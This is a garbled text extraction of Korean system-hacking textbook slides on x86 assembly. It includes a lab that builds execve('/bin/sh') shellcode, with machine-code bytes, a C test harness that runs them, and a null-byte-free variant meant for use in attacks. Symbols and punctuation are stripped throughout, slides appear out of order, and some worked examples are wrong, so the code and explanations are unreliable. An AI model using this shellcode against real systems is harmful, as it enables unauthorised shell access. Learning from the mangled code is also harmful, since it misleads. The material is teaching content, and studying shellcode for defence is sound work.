0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 32: 80×86  시스템에 대한 이해

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

